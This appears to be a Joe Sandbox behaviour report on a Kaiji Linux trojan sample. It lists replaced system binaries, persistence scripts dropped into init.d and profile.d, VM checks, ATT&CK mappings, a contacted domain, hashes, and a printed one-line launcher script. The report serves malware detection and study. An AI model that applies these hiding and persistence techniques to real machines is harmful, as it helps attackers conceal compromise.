Source: /usr/sbin/service (PID: 5584)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active multi-user.target	Jump to behavior
Source: /usr/sbin/service (PID: 5586)	Systemctl executable: /usr/bin/systemctl -> systemctl list-unit-files --full --type=socket	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5610)	Systemctl executable: /usr/bin/systemctl -> systemctl start crond.service	Jump to behavior

Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/opt.services.cfg (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/32676 (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /boot/System.mod (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/profile.d/bash_cfg (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /usr/lib/libgdi.so.0.8.1 (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /usr/lib/system-mark (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /usr/bin/include/ps (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /usr/bin/include/ss (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /usr/bin/include/ls (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /usr/bin/include/dir (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /usr/bin/include/netstat (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /usr/bin/include/find (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /usr/bin/include/lsof (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /usr/bin/ps (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /usr/bin/ss (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /usr/bin/ls (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /usr/bin/dir (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /usr/bin/netstat (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /usr/bin/find (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /usr/bin/lsof (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/32676	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /.mod	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/acpid	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/alsa-utils	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/anacron	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/apparmor	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/apport	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/avahi-daemon	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/binfmt-support	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/bluetooth	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/cron	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/cryptdisks	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/cryptdisks-early	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/cups	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/cups-browsed	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/dbus	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/gdm3	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/hddtemp	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/irqbalance	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/iscsid	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/kmod	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/lightdm	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/lm-sensors	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/lvm2-lvmpolld	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/mono-xsp4	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/multipath-tools	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/open-iscsi	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/open-vm-tools	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/plymouth	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/plymouth-log	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/procps	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/rsync	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/rsyslog	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/saned	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/screen-cleanup	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/spice-vdagent	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/ssh	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/udev	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/ufw	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/unattended-upgrades	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/uuidd	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Writes shell script file to disk with an unusual file extension: /etc/init.d/x11-common	Jump to dropped file

Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Shell script file created: /etc/profile.d/bash_cfg.sh	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Shell script file created: /etc/init.d/console-setup.sh	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Shell script file created: /etc/init.d/hwclock.sh	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Shell script file created: /etc/init.d/keyboard-setup.sh	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Shell script file created: /etc/profile.d/gateway.sh	Jump to dropped file

Source: /usr/sbin/service (PID: 5504)	Sed executable: /usr/bin/sed -> sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p			Jump to behavior
Source: /usr/sbin/service (PID: 5587)	Sed executable: /usr/bin/sed -> sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/acpid	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/alsa-utils	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/anacron	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/apparmor	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/apport	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/avahi-daemon	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/binfmt-support	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/bluetooth	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/console-setup.sh	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/cron	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/cryptdisks	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/cryptdisks-early	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/cups	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/cups-browsed	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/dbus	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/gdm3	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/hddtemp	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/hwclock.sh	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/irqbalance	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/iscsid	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/keyboard-setup.sh	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/kmod	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/lightdm	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/lm-sensors	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/lvm2-lvmpolld	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/mono-xsp4	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/multipath-tools	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/open-iscsi	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/open-vm-tools	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/plymouth	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/plymouth-log	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/procps	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/rsync	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/rsyslog	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/saned	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/screen-cleanup	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/spice-vdagent	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/ssh	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/udev	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/ufw	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/unattended-upgrades	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/uuidd	Jump to dropped file
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/init.d/x11-common	Jump to dropped file

Source: /etc/32676 (PID: 5498)	Sleep executable: /usr/bin/sleep -> sleep 60	Jump to behavior
Source: /etc/32676 (PID: 5692)	Sleep executable: /usr/bin/sleep -> sleep 60	Jump to behavior
Source: /etc/32676 (PID: 5753)	Sleep executable: /usr/bin/sleep -> sleep 60	Jump to behavior

Source: /tmp/Xq5coKA8BI.elf (PID: 5477)

Reads CPU info from /sys: /sys/devices/system/cpu/online

Jump to behavior

Source: /usr/bin/sleep (PID: 5498)	Sleeps longer then 60s: 60.0s	Jump to behavior
Source: /usr/bin/sleep (PID: 5692)	Sleeps longer then 60s: 60.0s	Jump to behavior
Source: /usr/bin/sleep (PID: 5753)	Sleeps longer then 60s: 60.0s	Jump to behavior
Source: /usr/sbin/cron (PID: 5600)	Sleeps longer then 60s: 60.0s	Jump to behavior
Source: /usr/sbin/cron (PID: 5681)	Sleeps longer then 60s: 60.0s	Jump to behavior
Source: /usr/sbin/cron (PID: 5742)	Sleeps longer then 60s: 60.0s	Jump to behavior

Source: /tmp/Xq5coKA8BI.elf (PID: 5472)	Queries kernel information via 'uname':	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Queries kernel information via 'uname':	Jump to behavior
Source: /bin/bash (PID: 5490)	Queries kernel information via 'uname':	Jump to behavior
Source: /etc/32676 (PID: 5495)	Queries kernel information via 'uname':	Jump to behavior
Source: /bin/bash (PID: 5505)	Queries kernel information via 'uname':	Jump to behavior
Source: /bin/bash (PID: 5539)	Queries kernel information via 'uname':	Jump to behavior
Source: /bin/bash (PID: 5547)	Queries kernel information via 'uname':	Jump to behavior
Source: /.mod (PID: 5659)	Queries kernel information via 'uname':	Jump to behavior
Source: /.mod (PID: 5722)	Queries kernel information via 'uname':	Jump to behavior

Source: open-vm-tools.14.dr	Binary or memory string: # Check if we're running inside VMWare
Source: open-vm-tools.14.dr	Binary or memory string: start-stop-daemon --start --quiet --pidfile /var/run/vmtoolsd.pid --exec /usr/bin/vmtoolsd --test > /dev/null \|\| exit 1
Source: open-vm-tools.14.dr	Binary or memory string: if ! ${checktool} \| grep -iq vmware; then
Source: Xq5coKA8BI.elf, 5472.1.0000557506d58000.000055750736a000.rw-.sdmp	Binary or memory string: uU!/etc/qemu-binfmt/arm
Source: open-vm-tools.14.dr	Binary or memory string: rm -f /var/run/vmtoolsd.pid
Source: Xq5coKA8BI.elf, 5472.1.0000557506d58000.000055750736a000.rw-.sdmp	Binary or memory string: uUrg.qemu.gdb.arm.sys.regs">
Source: open-vm-tools.14.dr	Binary or memory string: checktool='vmware-checkvm'
Source: open-vm-tools.14.dr	Binary or memory string: start-stop-daemon --stop --quiet --retry=TERM/30/KILL/5 --pidfile /var/run/vmtoolsd.pid --exec /usr/bin/vmtoolsd
Source: open-vm-tools.14.dr	Binary or memory string: log_daemon_msg "Stopping open-vm guest daemon" "vmtoolsd"
Source: open-vm-tools.14.dr	Binary or memory string: echo "open-vm-tools: not starting as this is not a VMware VM"
Source: Xq5coKA8BI.elf, 5472.1.0000557506d58000.000055750736a000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: Xq5coKA8BI.elf, 5472.1.00007fff99659000.00007fff9967a000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: open-vm-tools.14.dr	Binary or memory string: start-stop-daemon --start --quiet --pidfile /var/run/vmtoolsd.pid --exec /usr/bin/vmtoolsd -- --background /var/run/vmtoolsd.pid \|\| exit 2
Source: open-vm-tools.14.dr	Binary or memory string: log_daemon_msg "Starting open-vm daemon" "vmtoolsd"
Source: Xq5coKA8BI.elf, 5472.1.0000557506d58000.000055750736a000.rw-.sdmp	Binary or memory string: rg.qemu.gdb.arm.sys.regs">
Source: open-vm-tools.14.dr	Binary or memory string: status_of_proc -p /var/run/vmtoolsd.pid /usr/bin/vmtoolsd vmtoolsd && exit 0 \|\| exit $?
Source: Xq5coKA8BI.elf, 5472.1.00007fff99659000.00007fff9967a000.rw-.sdmp	Binary or memory string: Dx86_64/usr/bin/qemu-arm/tmp/Xq5coKA8BI.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/Xq5coKA8BI.elf

Stealing of Sensitive Information

Yara detected Kaiji

Source: Yara match

File source: Xq5coKA8BI.elf, type: SAMPLE

Remote Access Functionality

Yara detected Kaiji

Source: Yara match

File source: Xq5coKA8BI.elf, type: SAMPLE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	1 Command and Scripting Interpreter	1 Unix Shell Configuration Modification	1 Unix Shell Configuration Modification	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	1 Data Manipulation
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Systemd Service	1 Systemd Service	1 Hide Artifacts	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	2 Scripting	Logon Script (Windows)	1 Virtualization/Sandbox Evasion	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File and Directory Permissions Modification	NTDS	1 System Information Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Hidden Files and Directories	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Xq5coKA8BI.elf	37%	ReversingLabs	Linux.Trojan.Kaiji

Dropped Files

Source	Detection	Scanner
/.mod	0%	ReversingLabs
/etc/32676	0%	ReversingLabs
/etc/init.d/acpid	0%	ReversingLabs
/etc/init.d/alsa-utils	0%	ReversingLabs
/etc/init.d/anacron	0%	ReversingLabs
/etc/init.d/apparmor	0%	ReversingLabs
/etc/init.d/avahi-daemon	0%	ReversingLabs
/etc/init.d/binfmt-support	0%	ReversingLabs
/etc/init.d/bluetooth	0%	ReversingLabs
/etc/init.d/console-setup.sh	0%	ReversingLabs
/etc/init.d/cron	0%	ReversingLabs
/etc/init.d/cryptdisks	0%	ReversingLabs
/etc/init.d/cryptdisks-early	0%	ReversingLabs
/etc/init.d/cups	0%	ReversingLabs
/etc/init.d/cups-browsed	0%	ReversingLabs
/etc/init.d/dbus	0%	ReversingLabs
/etc/init.d/gdm3	0%	ReversingLabs
/etc/init.d/hddtemp	0%	ReversingLabs
/etc/init.d/hwclock.sh	0%	ReversingLabs
/etc/init.d/irqbalance	0%	ReversingLabs
/etc/init.d/iscsid	0%	ReversingLabs
/etc/init.d/keyboard-setup.sh	0%	ReversingLabs
/etc/init.d/kmod	0%	ReversingLabs
/etc/init.d/lightdm	0%	ReversingLabs
/etc/init.d/lm-sensors	0%	ReversingLabs
/etc/init.d/lvm2-lvmpolld	0%	ReversingLabs
/etc/init.d/mono-xsp4	0%	ReversingLabs
/etc/init.d/multipath-tools	0%	ReversingLabs
/etc/init.d/open-iscsi	0%	ReversingLabs
/etc/init.d/open-vm-tools	0%	ReversingLabs
/etc/init.d/plymouth	0%	ReversingLabs
/etc/init.d/plymouth-log	0%	ReversingLabs
/etc/init.d/procps	0%	ReversingLabs
/etc/init.d/rsync	0%	ReversingLabs
/etc/init.d/rsyslog	0%	ReversingLabs
/etc/init.d/saned	0%	ReversingLabs
/etc/init.d/screen-cleanup	0%	ReversingLabs
/etc/init.d/spice-vdagent	0%	ReversingLabs
/etc/init.d/ssh	0%	ReversingLabs
/etc/init.d/udev	0%	ReversingLabs
/etc/init.d/ufw	0%	ReversingLabs
/etc/init.d/unattended-upgrades	0%	ReversingLabs
/etc/init.d/uuidd	0%	ReversingLabs
/etc/init.d/x11-common	0%	ReversingLabs
/etc/profile.d/bash_cfg.sh	0%	ReversingLabs

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.google.com	142.250.184.228	true	false		unknown
ss.us-tv.top	unknown	unknown	false		unknown

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.google.com	Ww0lpzmYHO.elf	Get hash	malicious	Kaiji	Browse	142.251.116.105
	c4RvDuLtq1.elf	Get hash	malicious	Kaiji	Browse	216.58.212.132
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	142.250.186.36
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.186.100
	http://168.63.129.16:32526/vmSettings	Get hash	malicious	Unknown	Browse	142.250.185.228
	https://dareka4te.shop	Get hash	malicious	Unknown	Browse	142.250.186.132
	http://www.thexe.afatydfe.com/	Get hash	malicious	Unknown	Browse	142.250.185.132
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	142.250.186.132
	cPds84vxfC.exe	Get hash	malicious	LummaC, AveMaria, LummaC Stealer, UACMe	Browse	142.250.80.100
	https://predictiveanalyticsgroup.formstack.com/forms/i_am_not_a_robot	Get hash	malicious	Unknown	Browse	216.58.206.36

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
/.mod	Ww0lpzmYHO.elf	Get hash	malicious	Kaiji	Browse
	c4RvDuLtq1.elf	Get hash	malicious	Kaiji	Browse
	linux_arm5.elf	Get hash	malicious	Kaiji	Browse
	linux_aarch64.elf	Get hash	malicious	Kaiji	Browse
	linux_amd64.elf	Get hash	malicious	Kaiji	Browse
	linux_arm7.elf	Get hash	malicious	Kaiji	Browse
	linux_arm6.elf	Get hash	malicious	Kaiji	Browse
	DerI9qwTwK.elf	Get hash	malicious	Kaiji	Browse
	wqX9qtzKkX.elf	Get hash	malicious	Kaiji	Browse
	QHoi0jjr6w.elf	Get hash	malicious	Kaiji	Browse
/etc/32676	Ww0lpzmYHO.elf	Get hash	malicious	Kaiji	Browse
	c4RvDuLtq1.elf	Get hash	malicious	Kaiji	Browse
	linux_arm5.elf	Get hash	malicious	Kaiji	Browse
	linux_aarch64.elf	Get hash	malicious	Kaiji	Browse
	linux_amd64.elf	Get hash	malicious	Kaiji	Browse
	linux_arm7.elf	Get hash	malicious	Kaiji	Browse
	linux_arm6.elf	Get hash	malicious	Kaiji	Browse
	DerI9qwTwK.elf	Get hash	malicious	Kaiji	Browse
	p2GrGlDHjw.elf	Get hash	malicious	Kaiji	Browse
	mJWouOfZLy.elf	Get hash	malicious	Kaiji	Browse

Created / dropped Files

/.mod

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	Bourne-Again shell script, ASCII text executable
Category:	dropped
Size (bytes):	36
Entropy (8bit):	3.9931325576478587
Encrypted:	false
SSDEEP:	3:TKH/LQP5o:8M2
MD5:	FF0DB01AA3465358D28FD34FE8479236
SHA1:	DBE00D4EAD9F9FE3D8B97CBDCA1F2EFD5EF86EEF
SHA-256:	BF659AA5C483CF60E1E7626EEC9FAE7AE182CC611A3F42B2521F8A8C018C7195
SHA-512:	F414CE5B5A10DD25EA22CA123473604445411E056F4310DFE1C09AECE6B16CB5AD8B989070201594025A6DBE319FE87A871E63209E977EE185EF302689F048B2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Ww0lpzmYHO.elf, Detection: malicious, Browse Filename: c4RvDuLtq1.elf, Detection: malicious, Browse Filename: linux_arm5.elf, Detection: malicious, Browse Filename: linux_aarch64.elf, Detection: malicious, Browse Filename: linux_amd64.elf, Detection: malicious, Browse Filename: linux_arm7.elf, Detection: malicious, Browse Filename: linux_arm6.elf, Detection: malicious, Browse Filename: DerI9qwTwK.elf, Detection: malicious, Browse Filename: wqX9qtzKkX.elf, Detection: malicious, Browse Filename: QHoi0jjr6w.elf, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	#!/bin/bash./usr/lib/libgdi.so.0.8.1

/etc/.walk

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	147
Entropy (8bit):	3.8999173653136694
Encrypted:	false
SSDEEP:	3:3Rk4WtwyI6T2iWB4WtwyI6T2iq2TLQdHjhOdQBHXWcMn:hRt6TzWqt6Tzq2MdHjcy3Wxn
MD5:	291749B34A4DA778CA840ECA6EA60FA4
SHA1:	54623B8252EFE0090DE76E768B40D8C26E4B8619
SHA-256:	5D6E9FC1629F3CE785361D949667B5946921C621FB8D2F30663516C148A7F040
SHA-512:	686E87A3EA1591EED84A80F8A18AB54DFB104E79BA8951EF326AEE998A4F26609CD957E3E3E5C7A7AA378D18D5E957CE739BBF625EE1CD3FD99C44A85793CDBC
Malicious:	false
Reputation:	low
Preview:	e74ed74ec65f017ed1638a49c1350a23fc5dea16df1a797a.e74ed74ec65f017ed1638a49c1350a23fc5dea16df1a797a.e464ed5cf25f2831d065cf4dc1350d7ee85d8a5fc939277a.

/etc/32676

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	Bourne-Again shell script, ASCII text executable
Category:	dropped
Size (bytes):	63
Entropy (8bit):	4.619727741986734
Encrypted:	false
SSDEEP:	3:TKH/zOsUF4K0WJTD0HXD:LsUF4kDYXD
MD5:	6CB66DDA6E7B14F42654921B3EC25226
SHA1:	B39354C512D130E1C52E9163DC12C4D5704A60A7
SHA-256:	45A2B263B893B33C703B7E5F64F04DE776D1DC9578BE65C5047195CD531FEF2A
